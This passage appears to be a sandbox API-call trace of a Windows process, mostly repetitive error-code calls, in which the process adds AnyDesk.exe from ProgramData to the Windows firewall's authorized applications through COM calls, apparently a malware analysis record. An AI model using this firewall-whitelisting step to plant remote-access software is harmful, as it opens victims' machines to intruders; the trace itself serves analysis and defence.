Size=0x400) returned 0x19aef38 [0285.219] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x13) returned 0x19a91b0 [0285.219] GetLastError () returned 0x0 [0285.219] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x214) returned 0x19af340 [0285.219] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0285.220] GetCurrentThreadId () returned 0x5c8 [0285.220] SetLastError (dwErrCode=0x0) [0285.220] GetLastError () returned 0x0 [0285.220] SetLastError (dwErrCode=0x0) [0285.220] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0285.220] GetSystemTime (in: lpSystemTime=0x1d2fad0 | out: lpSystemTime=0x1d2fad0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x1e8)) [0285.220] GetCurrentThreadId () returned 0x5c8 [0285.220] GetCurrentProcessId () returned 0x51c [0285.220] GetLastError () returned 0x0 [0285.220] SetLastError (dwErrCode=0x0) [0285.220] GetLastError () returned 0x0 [0285.220] SetLastError (dwErrCode=0x0) [0285.220] GetLastError () returned 0x0 [0285.220] SetLastError (dwErrCode=0x0) [0285.220] GetLastError () returned 0x0 [0285.220] SetLastError (dwErrCode=0x0) [0285.220] GetLastError () returned 0x0 [0285.220] SetLastError (dwErrCode=0x0) [0285.220] GetLastError () returned 0x0 [0285.220] SetLastError (dwErrCode=0x0) [0285.221] GetLastError () returned 0x0 [0285.221] SetLastError (dwErrCode=0x0) [0285.221] GetLastError () returned 0x0 [0285.221] SetLastError (dwErrCode=0x0) [0285.221] GetLastError () returned 0x0 [0285.221] SetLastError (dwErrCode=0x0) [0285.221] GetLastError () returned 0x0 [0285.221] SetLastError (dwErrCode=0x0) [0285.221] GetLastError () returned 0x0 [0285.222] SetLastError (dwErrCode=0x0) [0285.222] GetLastError () returned 0x0 [0285.222] SetLastError (dwErrCode=0x0) [0285.222] GetLastError () returned 0x0 [0285.222] SetLastError (dwErrCode=0x0) [0285.222] GetLastError () returned 0x0 [0285.222] SetLastError (dwErrCode=0x0) [0285.222] GetLastError () returned 0x0 [0285.222] SetLastError (dwErrCode=0x0) [0285.222] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.223] GetLastError () returned 0x0 [0285.223] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.224] SetLastError (dwErrCode=0x0) [0285.224] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.225] SetLastError (dwErrCode=0x0) [0285.225] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.226] SetLastError (dwErrCode=0x0) [0285.226] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.227] GetLastError () returned 0x0 [0285.227] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.228] GetLastError () returned 0x0 [0285.228] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.229] SetLastError (dwErrCode=0x0) [0285.229] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.230] SetLastError (dwErrCode=0x0) [0285.230] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.231] GetLastError () returned 0x0 [0285.231] SetLastError (dwErrCode=0x0) [0285.232] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4423 [0285.232] WriteFile (in: hFile=0x144, lpBuffer=0x1d2f1dc*, nNumberOfBytesToWrite=0x88, lpNumberOfBytesWritten=0x1d2fb08, lpOverlapped=0x0 | out: lpBuffer=0x1d2f1dc*, lpNumberOfBytesWritten=0x1d2fb08*=0x88, lpOverlapped=0x0) returned 1 [0285.232] ReleaseMutex (hMutex=0xd8) returned 1 [0285.232] CoCreateInstance (in: rclsid=0x7e12c4*(Data1=0xec9846b3, Data2=0x2762, Data3=0x4a6b, Data4=([0]=0xa2, [1]=0x14, [2]=0x6a, [3]=0xcb, [4]=0x60, [5]=0x34, [6]=0x62, [7]=0xd2)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7e12a4*(Data1=0xb5e64ffa, Data2=0xc2c5, Data3=0x444e, Data4=([0]=0xa3, [1]=0x1, [2]=0xfb, [3]=0x5e, [4]=0x0, [5]=0x1, [6]=0x80, [7]=0x50)), ppv=0x1d2fb3c | out: ppv=0x1d2fb3c*=0x20017c8) returned 0x0 [0285.235] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_ProcessImageFileName (This=0x20017c8, ProcessImageFileName="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 0x0 [0285.433] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Name (This=0x20017c8, Name="AnyDesk") returned 0x0 [0285.433] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Scope (This=0x20017c8, Scope=0) returned 0x0 [0285.433] INetFwProfile:get_AuthorizedApplications (in: This=0x2001a00, apps=0x1d2fb28 | out: apps=0x1d2fb28*=0x2001da8) returned 0x0 [0285.434] INetFwAuthorizedApplications:Add (This=0x2001da8, app=0x20017c8) returned 0x0 [0285.558] IUnknown:Release (This=0x2001da8) returned 0x1 [0285.558] NetFwAuthorizedApplication:IUnknown:Release (This=0x20017c8) returned 0x0 [0285.558] CoCreateInstance (in: rclsid=0x7e12c4*(Data1=0xec9846b3, Data2=0x2762, Data3=0x4a6b, Data4=([0]=0xa2, [1]=0x14, [2]=0x6a, [3]=0xcb, [4]=0x60, [5]=0x34, [6]=0x62, [7]=0xd2)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7e12a4*(Data1=0xb5e64ffa, Data2=0xc2c5, Data3=0x444e, Data4=([0]=0xa3, [1]=0x1, [2]=0xfb, [3]=0x5e, [4]=0x0, [5]=0x1, [6]=0x80, [7]=0x50)), ppv=0x1d2fb3c | out: ppv=0x1d2fb3c*=0x20017c8) returned 0x0 [0285.559] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_ProcessImageFileName (This=0x20017c8, ProcessImageFileName="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 0x0 [0285.560] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Name (This=0x20017c8, Name="AnyDesk") returned 0x0 [0285.560] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Scope (This=0x20017c8, Scope=0) returned 0x0 [0285.560] INetFwProfile:get_AuthorizedApplications (in: This=0x2001dc0, apps=0x1d2fb28 | out: apps=0x1d2fb28*=0x2002168) returned 0x0 [0285.560] INetFwAuthorizedApplications:Add (This=0x2002168, app=0x20017c8) returned 0x0 [0285.580] IUnknown:Release (This=0x2002168) returned 0x1 [0285.580] NetFwAuthorizedApplication:IUnknown:Release (This=0x20017c8) returned 0x0 [0285.580] CoCreateInstance (in: rclsid=0x7e12c4*(Data1=0xec9846b3, Data2=0x2762, Data3=0x4a6b, Data4=([0]=0xa2, [1]=0x14, [2]=0x6a, [3]=0xcb, [4]=0x60, [5]=0x34, [6]=0x62, [7]=0xd2)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7e12a4*(Data1=0xb5e64ffa, Data2=0xc2c5, Data3=0x444e, Data4=([0]=0xa3, [1]=0x1, [2]=0xfb, [3]=0x5e, [4]=0x0, [5]=0x1, [6]=0x80, [7]=0x50)), ppv=0x1d2fb3c | out: ppv=0x1d2fb3c*=0x20017c8) returned 0x0 [0285.581] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_ProcessImageFileName (This=0x20017c8, ProcessImageFileName="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 0x0 [0285.581] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Name (This=0x20017c8, Name="AnyDesk") returned 0x0 [0285.581] NetFwAuthorizedApplication:INetFwAuthorizedApplication:put_Scope (This=0x20017c8, Scope=0) returned 0x0 [0285.581] INetFwProfile:get_AuthorizedApplications (in: This=0x18f8c8, apps=0x1d2fb28 | out: apps=0x1d2fb28*=0x20019e8) returned 0x0 [0285.582] INetFwAuthorizedApplications:Add (This=0x20019e8, app=0x20017c8) returned 0x0 [0285.598] IUnknown:Release (This=0x20019e8) returned 0x1 [0285.598] NetFwAuthorizedApplication:IUnknown:Release (This=0x20017c8) returned 0x0 [0285.598] IUnknown:Release (This=0x2001a00) returned 0x0 [0285.598] IUnknown:Release (This=0x2001dc0) returned 0x0 [0285.599] IUnknown:Release (This=0x18f8c8) returned 0x0 [0285.599] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a91b0 | out: hHeap=0x1930000) returned 1 [0285.599] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196d3b8 | out: hHeap=0x1930000) returned 1 [0285.600] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19793c0 | out: hHeap=0x1930000) returned 1 [0285.600] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196b988 | out: hHeap=0x1930000) returned 1 [0285.600] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198ce18 | out: hHeap=0x1930000) returned 1 [0285.600] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x15) returned 0x196b988 [0285.600] GetLastError () returned 0x0 [0285.600] SetLastError (dwErrCode=0x0) [0285.601] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0285.601] GetSystemTime (in: lpSystemTime=0x1d2fad0 | out: lpSystemTime=0x1d2fad0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x35e)) [0285.601] GetCurrentThreadId () returned 0x5c8 [0285.601] GetCurrentProcessId () returned 0x51c [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.601] SetLastError (dwErrCode=0x0) [0285.601] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.602] GetLastError () returned 0x0 [0285.602] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.603] GetLastError () returned 0x0 [0285.603] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.604] GetLastError () returned 0x0 [0285.604] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.605] SetLastError (dwErrCode=0x0) [0285.605] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.606] SetLastError (dwErrCode=0x0) [0285.606] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.607] SetLastError (dwErrCode=0x0) [0285.607] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.608] SetLastError (dwErrCode=0x0) [0285.608] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.609] GetLastError () returned 0x0 [0285.609] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.610] SetLastError (dwErrCode=0x0) [0285.610] GetLastError () returned 0x0 [0285.611] SetLastError (dwErrCode=0x0) [0285.611] SetFilePointer (in: hFile=0x144, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x474a [0285.611] WriteFile (in: hFile=0x144, lpBuffer=0x1d2f1dc*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x1d2fb08, lpOverlapped=0x0 | out: lpBuffer=0x1d2f1dc*, lpNumberOfBytesWritten=0x1d2fb08*=0x6b, lpOverlapped=0x0) returned 1 [0285.611] ReleaseMutex (hMutex=0xd8) returned 1 [0285.611] OleUninitialize () [0285.613] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aef38 | out: hHeap=0x1930000) returned 1 [0285.614] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19af340 | out: hHeap=0x1930000) returned 1 Thread: id = 562 os_tid = 0x5d0 Thread: id = 563 os_tid = 0x5d4 Thread: id = 564 os_tid = 0x5d8 [0283.624] OleInitialize (pvReserved=0x0) returned 0x0 [0283.624] GetLastError () returned 0x0 [0283.624] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x400) returned 0x19a6270 [0283.624] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x15) returned 0x196bc08 [0283.624] GetLastError () returned 0x0 [0283.625] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x214) returned 0x19a6678 [0283.625] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0283.625] GetCurrentThreadId () returned 0x5d8 [0283.625] SetLastError (dwErrCode=0x0) [0283.625] GetLastError () returned 0x0 [0283.625] SetLastError (dwErrCode=0x0) [0283.626] WaitForSingleObject (hHandle=0xd8, dwMilliseconds=0xbb8) returned 0x0 [0283.626] GetSystemTime (in: lpSystemTime=0x25efc64 | out: lpSystemTime=0x25efc64*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x25)) [0283.626] GetCurrentThreadId () returned 0x5d8 [0283.626] GetCurrentProcessId () returned 0x51c [0283.626] GetLastError () returned 0x0 [0283.626] SetLastError (dwErrCode=0x0) [0283.626] GetLastError () returned 0x0 [0283.626] SetLastError (dwErrCode=0x0) [0283.626] GetLastError () returned 0x0 [0283.626] SetLastError (dwErrCode=0x0) [0283.626] GetLastError () returned 0x0 [0283.626] SetLastError (dwErrCode=0x0) [0283.626] GetLastError () returned 0x0 [0283.626] SetLastError (dwErrCode=0x0) [0283.626] GetLastError () returned 0x0 [0283.626] SetLastError (dwErrCode=0x0) [0283.626] GetLastError () returned 0x0 [0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 [0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 [0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 [0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 [0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 [0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 [0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 [0283.627] SetLastError (dwErrCode=0x0) [0283.627] GetLastError () returned 0x0 